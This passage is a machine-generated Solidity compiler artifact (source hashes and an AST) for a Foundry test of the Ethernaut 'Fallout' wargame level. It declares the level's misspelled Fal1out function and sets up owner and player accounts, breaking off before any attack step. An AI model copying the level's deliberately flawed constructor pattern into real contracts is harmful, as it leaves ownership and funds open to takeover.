,"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD"],"license":"MIT"},"src/levels/DummyFactory.sol":{"keccak256":"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80","urls":["bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f","dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Fallout.t.sol":{"keccak256":"0x32cd06c5eaab7cd2ef1ee5908b18857eb670a45fcf9d969e7e9cd178fedb4ab6","urls":["bzz-raw://e2f8cd4d253d889995bcc958d1985b6842b86fcd3e01173966e4bbe7e0ee6965","dweb:/ipfs/QmWuZGScN24R23cNrtBsJFr5ws5ugVhWP4eUfArkixU1r2"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Fallout.t.sol","id":61005,"exportedSymbols":{"DummyFactory":[52145],"Ethernaut":[49101],"Fallout":[60839],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestFallout":[61004],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1860:130","nodes":[{"id":60826,"nodeType":"PragmaDirective","src":"32:23:130","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":60827,"nodeType":"ImportDirective","src":"57:28:130","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":61005,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":60829,"nodeType":"ImportDirective","src":"86:43:130","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":61005,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":60828,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:130","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60831,"nodeType":"ImportDirective","src":"131:57:130","nodes":[],"absolutePath":"src/levels/DummyFactory.sol","file":"src/levels/DummyFactory.sol","nameLocation":"-1:-1:-1","scope":61005,"sourceUnit":52146,"symbolAliases":[{"foreign":{"id":60830,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"139:12:130","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60833,"nodeType":"ImportDirective","src":"189:48:130","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":61005,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":60832,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"197:5:130","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60835,"nodeType":"ImportDirective","src":"238:44:130","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":61005,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":60834,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"246:9:130","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60839,"nodeType":"ContractDefinition","src":"284:54:130","nodes":[{"id":60838,"nodeType":"FunctionDefinition","src":"308:28:130","nodes":[],"functionSelector":"6fab5ddf","implemented":false,"kind":"function","modifiers":[],"name":"Fal1out","nameLocation":"317:7:130","parameters":{"id":60836,"nodeType":"ParameterList","parameters":[],"src":"324:2:130"},"returnParameters":{"id":60837,"nodeType":"ParameterList","parameters":[],"src":"335:0:130"},"scope":60839,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Fallout","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[60839],"name":"Fallout","nameLocation":"294:7:130","scope":61005,"usedErrors":[],"usedEvents":[]},{"id":61004,"nodeType":"ContractDefinition","src":"340:1551:130","nodes":[{"id":60846,"nodeType":"VariableDeclaration","src":"382:19:130","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"392:9:130","scope":61004,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":60845,"nodeType":"UserDefinedTypeName","pathNode":{"id":60844,"name":"Ethernaut","nameLocations":["382:9:130"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"382:9:130"},"referencedDeclaration":49101,"src":"382:9:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":60849,"nodeType":"VariableDeclaration","src":"407:16:130","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"415:8:130","scope":61004,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"},"typeName":{"id":60848,"nodeType":"UserDefinedTypeName","pathNode":{"id":60847,"name":"Fallout","nameLocations":["407:7:130"],"nodeType":"IdentifierPath","referencedDeclaration":60839,"src":"407:7:130"},"referencedDeclaration":60839,"src":"407:7:130","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}},"visibility":"internal"},{"id":60851,"nodeType":"VariableDeclaration","src":"430:21:130","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"446:5:130","scope":61004,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":60850,"name":"address","nodeType":"ElementaryTypeName","src":"430:15:130","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":60853,"nodeType":"VariableDeclaration","src":"457:22:130","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"473:6:130","scope":61004,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":60852,"name":"address","nodeType":"ElementaryTypeName","src":"457:15:130","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":60956,"nodeType":"FunctionDefinition","src":"666:612:130","nodes":[],"body":{"id":60955,"nodeType":"Block","src":"690:588:130","nodes":[],"statements":[{"assignments":[60858],"declarations":[{"constant":false,"id":60858,"mutability":"mutable","name":"users","nameLocation":"725:5:130","nodeType":"VariableDeclaration","scope":60955,"src":"700:30:130","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":60856,"name":"address","nodeType":"ElementaryTypeName","src":"700:15:130","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60857,"nodeType":"ArrayTypeName","src":"700:17:130","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":60862,"initialValue":{"arguments":[{"hexValue":"32","id":60860,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"745:1:130","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":60859,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"733:11:130","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":60861,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"733:14:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"700:47:130"},{"expression":{"id":60867,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60863,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60851,"src":"758:5:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":60864,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60858,"src":"766:5:130","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":60866,"indexExpression":{"hexValue":"30","id":60865,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"772:1:130","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"766:8:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"758:16:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60868,"nodeType":"ExpressionStatement","src":"758:16:130"},{"expression":{"arguments":[{"id":60872,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60851,"src":"793:5:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":60873,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"800:7:130","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":60869,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"784:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60871,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"787:5:130","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"784:8:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":60874,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"784:24:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60875,"nodeType":"ExpressionStatement","src":"784:24:130"},{"expression":{"id":60880,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60876,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60853,"src":"819:6:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":60877,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60858,"src":"828:5:130","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":60879,"indexExpression":{"hexValue":"31","id":60878,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"834:1:130","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"828:8:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"819:17:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60881,"nodeType":"ExpressionStatement","src":"819:17:130"},{"expression":{"arguments":[{"id":60885,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60853,"src":"855:6:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":60886,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"863:8:130","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":60882,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"846:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60884,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"849:5:130","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"846:8:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":60887,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"846:26:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60888,"nodeType":"ExpressionStatement","src":"846:26:130"},{"expression":{"arguments":[{"id":60892,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60851,"src":"897:5:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60889,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"883:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60891,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"886:10:130","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"883:13:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) 